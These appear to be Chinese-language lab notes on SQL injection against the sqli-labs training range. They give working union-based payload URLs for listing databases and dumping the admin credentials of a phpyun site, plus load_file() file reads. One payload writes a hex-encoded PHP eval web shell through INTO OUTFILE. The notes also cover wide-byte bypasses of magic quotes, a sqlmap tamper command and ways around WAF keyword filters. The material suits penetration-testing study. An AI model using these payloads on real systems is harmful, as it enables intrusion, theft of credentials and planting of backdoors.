网站A=数据库A=管理员用户A 存在sql注入漏洞 Root 前提是具有高权限
网站B=数据库B=管理员用户B 没有存在sql注入漏洞
网站C=数据库C=管理员用户C
用高权限用户来跨数据库查询
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='phpyun'
table_name 是这个 information_schema.tables 表的列
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='phpyun' and table_name='phpyun_admin_user'
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,username,password from phpyun.phpyun_admin_user
修改mysql.ini 文件,在[mysqld] 下加入
secure_file_priv =
前提条件
:在mysql.ini配置文件添加参数secure_file_priv = [空]
load_file()
— 读取函数在window 下的路径// 或者\\
都有结果 双写来转义
写法:?id=1 and 1=2 union select 1,load_file(‘C://boot.ini’),3–+
into outfile
或 into dumpfile
— 导出函数写法:?id=1 and 1=2 union select 1,'x',3 into outfile 'C://a.txt'--+
写shell:
用
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
报错显示,遗留文件 phpinfo.php,漏洞报路径,平台配置文件,爆破等
报错显示:一般网站在出现错误的时候会泄露出路径
遗留文件:站长调试的时候遗留的信息文件,如phpinfo(),会泄露路径。用扫描工具可以扫描到
漏洞报错:知道对方是用什么程序搭建的网站,再去网上搜索相关爆路径漏洞
参考:
https://blog.csdn.net/qq_32108547/article/details/95650380
平台配置文件:通过读取文件来读取搭建平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
爆破:
读取文件列表:常见写入文件问题:魔术引号开关
魔术引号:php内置的一个安全机制,默认是开启的,当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL
字符都会被自动加上一个反斜线进行转义
5.4.0版本以上的把这个功能撤除了
类似PHP中的addslashes()函数
http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,load_file
(0x433A2F2F7777772E747874),3–+
(前提数据库编码是gbk
)
show variables like '%char%';
查看编码系统字符集设置
set character_set_client = gbk;
修改字符集编码方式
参考链接:https://blog.csdn.net/qq_46091464/article/details/105893529
?id=1’ and 1=2–+ 初始注入语句,发现行不通
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是专门进行宽字节绕过脚本
\ %5c
' %27
?id=1%df’ and 1=2–+
?id=1%df%5c%27 and 1=2–+
倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。结合(因为宽字节是占两个字节),也就是“縗”
配合读取或暴力(没有information_schema自带的数据库)
通过字典跑或猜,工具再进行读取
(常用)或通过文件读取收集路径信息
(少见,一般首选植入后门)
高权限注入跨库查询操作测试
高权限注入文件读写操作测试
魔术引号开启后相关操作测试 宽字节绕过:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 在线靶场
【涉及资源】
https://blog.csdn.net/weixin_30292843/article/details/99381669
魔术引号开关:magic_quotes_gpc
在magic_quotes_gpc=ON的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( )等字符都会被加上反斜线,即被转义。在PHP6中删除了这个选项
绕过魔术引号方法:编码或宽字节
绕过,如将网址转换成十六进制编码
addslashes() 效果同魔术引号
is_int() 、is_integer()、is_long() 不可绕过
……
把特定的关键字替换为空或把含有特定关键字的语句丢弃,WAF好用
尝试大小写、编码、双写等方法绕过,如果过滤设置的全面则无法绕过
一般基于上述内置函数和关键字过滤,主要是关键字
参考:https://www.bilibili.com/read/cv12500977/